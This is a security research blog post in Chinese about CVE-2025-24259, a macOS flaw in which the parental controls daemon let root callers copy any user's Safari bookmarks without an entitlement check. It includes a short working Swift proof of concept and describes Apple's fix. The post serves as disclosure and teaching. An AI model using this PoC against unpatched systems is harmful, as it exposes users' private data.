CVE-2025-24259:macOS 上的书签泄露漏洞
CVE-2025-24259:macOS 上的书签泄露漏洞
2025-03-31 by Noah Gregory
简要概述
星期一快乐!您可能需要立即更新您的 Mac。macOS Ventura 13.7.5、macOS Sonoma 14.7.5 和 macOS Sequoia 15.4 已经发布。它们包含许多补丁,其中 15.4 包含针对 131 个 CVE 的补丁。如果您好奇并想验证,只需打开该更新的安全发布说明,然后搜索字符串“CVE-202”。截至撰写本文时,您将在该页面上找到 131 个匹配项。
其中一个 CVE,CVE-2025-24259,允许 root 进程泄露任何用户的 Safari 书签。
简要回顾
对于那些没有阅读 我上一篇文章 的人,这里是基本要点:
- macOS 上的进程通过 Mach messages 相互通信。
- MIG (the Mach Interface Generator) 可以围绕 Mach messages 生成 RPC 风格 API 的代码。
- 进程可执行文件可以使用称为 entitlements 的键值对进行签名。
- 一个名为 AMFI 的内核模块扫描每个启动的进程的 entitlements,并立即终止那些使用缺乏适当 provisioning profile 的“restricted entitlements”签名的进程。
- 任何在 macOS 设备上运行的进程都必须通过该内核模块,因此可以假定其 entitlements 字典是可信的。
- Mach message 包含一个内核附加的 trailer,其中包含(除其他外)一个 audit token,接收者可以使用该 token 唯一标识发送进程并读取其 entitlements。
- Mach message 接收者 应该 利用这一点,并忽略来自未经授权的发送者的消息。
- 有些接收者不这样做。
关于 MIG 客户端代码
正如我在之前的文章中解释的那样,Mach message 发送者通常被称为 clients,而 Mach message 接收者通常被称为 servers。如果您想知道为什么会这样,请查看该文章。无论如何,如上所述,MIG 可以围绕 Mach messages 生成函数接口的代码。在我之前的文章中,我模仿客户端代码向一个不检查 entitlements 的 daemon 发送 Mach messages,从而允许我访问受限资源。本文与此类似,但我们将通过不自己编写客户端代码来节省一些时间。
Parental/Family Controls Daemon
“parental controls” daemon 是 macOS 上的一个 MIG daemon,位于:
/System/Library/PrivateFrameworks/FamilyControls.framework/Resources/parentalcontrolsd
当然,daemon 本身包含 MIG server 代码。MIG client 代码位于它包含的 FamilyControls
framework 中。这是我见过的 daemon 的一种相当常见的模式,并且拥有现有的客户端代码对安全研究非常有帮助。当然,我们可以在我们的 PoC 中重新创建客户端代码,但有时只需使用已经存在的客户端代码要简单得多。
概念验证 (Proof-Of-Concept)
虽然我在之前的文章中使用的 Kass 工具确实包含 动态链接的不错的包装器,但它不是绝对必要的。我们可以使用标准的 dlopen
/dlsym
调用从 FamilyControls
framework 中引入 MIG client 代码并调用它。它实际上不需要那么多 Swift 代码:
import Foundation
if getuid() != 0 {
print("This program should be run as root.")
exit(1)
}
if CommandLine.argc != 2 {
print("Usage: \(String(cString: getprogname()!, encoding: .utf8)!) <username>")
exit(1)
}
let fFamilyControls =
dlopen("/System/Library/PrivateFrameworks/FamilyControls.framework/FamilyControls", RTLD_LAZY)!
let FCSafariCopyExistingBookmarks
= unsafeBitCast(
dlsym(fFamilyControls, "FCSafariCopyExistingBookmarks"),
to: (@convention(c) (String, Data) -> AnyObject?).self
)
print(FCSafariCopyExistingBookmarks(CommandLine.arguments[1], Data()) as AnyObject)
使用 swiftc
编译上述代码并以 root 身份运行生成的可执行文件将打印出指定用户的 Safari 书签。我只在测试中针对单个用户进行了测试,但我没有看到为什么这不适用于设备上的所有用户(特别是由于是 daemon 本身正在访问书签,并且它应该具有对所有书签的读取权限,无论用户如何)。
对于那些想知道的人,FCSafariCopyExistingBookmarks
的第二个参数接受一个 Data[](https://wts.dev/posts/bookmarks-leak/<https:/developer.apple.com/documentation/foundation/data>)
对象,该对象表示 AuthorizationExternalForm[](https://wts.dev/posts/bookmarks-leak/<https:/developer.apple.com/documentation/security/authorizationexternalform>)
的字节,可用于授权复制书签。但是,在没有有效授权对象的情况下,parentalcontrolsd
仍然允许 root 调用者复制书签,因此我们传递一个空的 Data
对象。
Apple 的解决方案
Apple 在这里的解决方案是再次添加 entitlement 检查。现在,当 parentalcontrolsd
尝试调用该特定的 MIG 例程来复制 Safari 书签时,它将忽略没有将 com.apple.private.parentalcontrols
entitlement 键设置为布尔值 true
的 clients。
结论
这再次强调了在处理 Mach messages 之前验证发送者的重要性。像我的上一篇文章一样,这是一个简单的漏洞,解决方案也很简单,我很高兴它已被修复。
一如既往... 关注这个空间。
*[RPC]: remote procedure call *[AMFI]: Apple Mobile File Integrity *[PoC]: proof-of-concept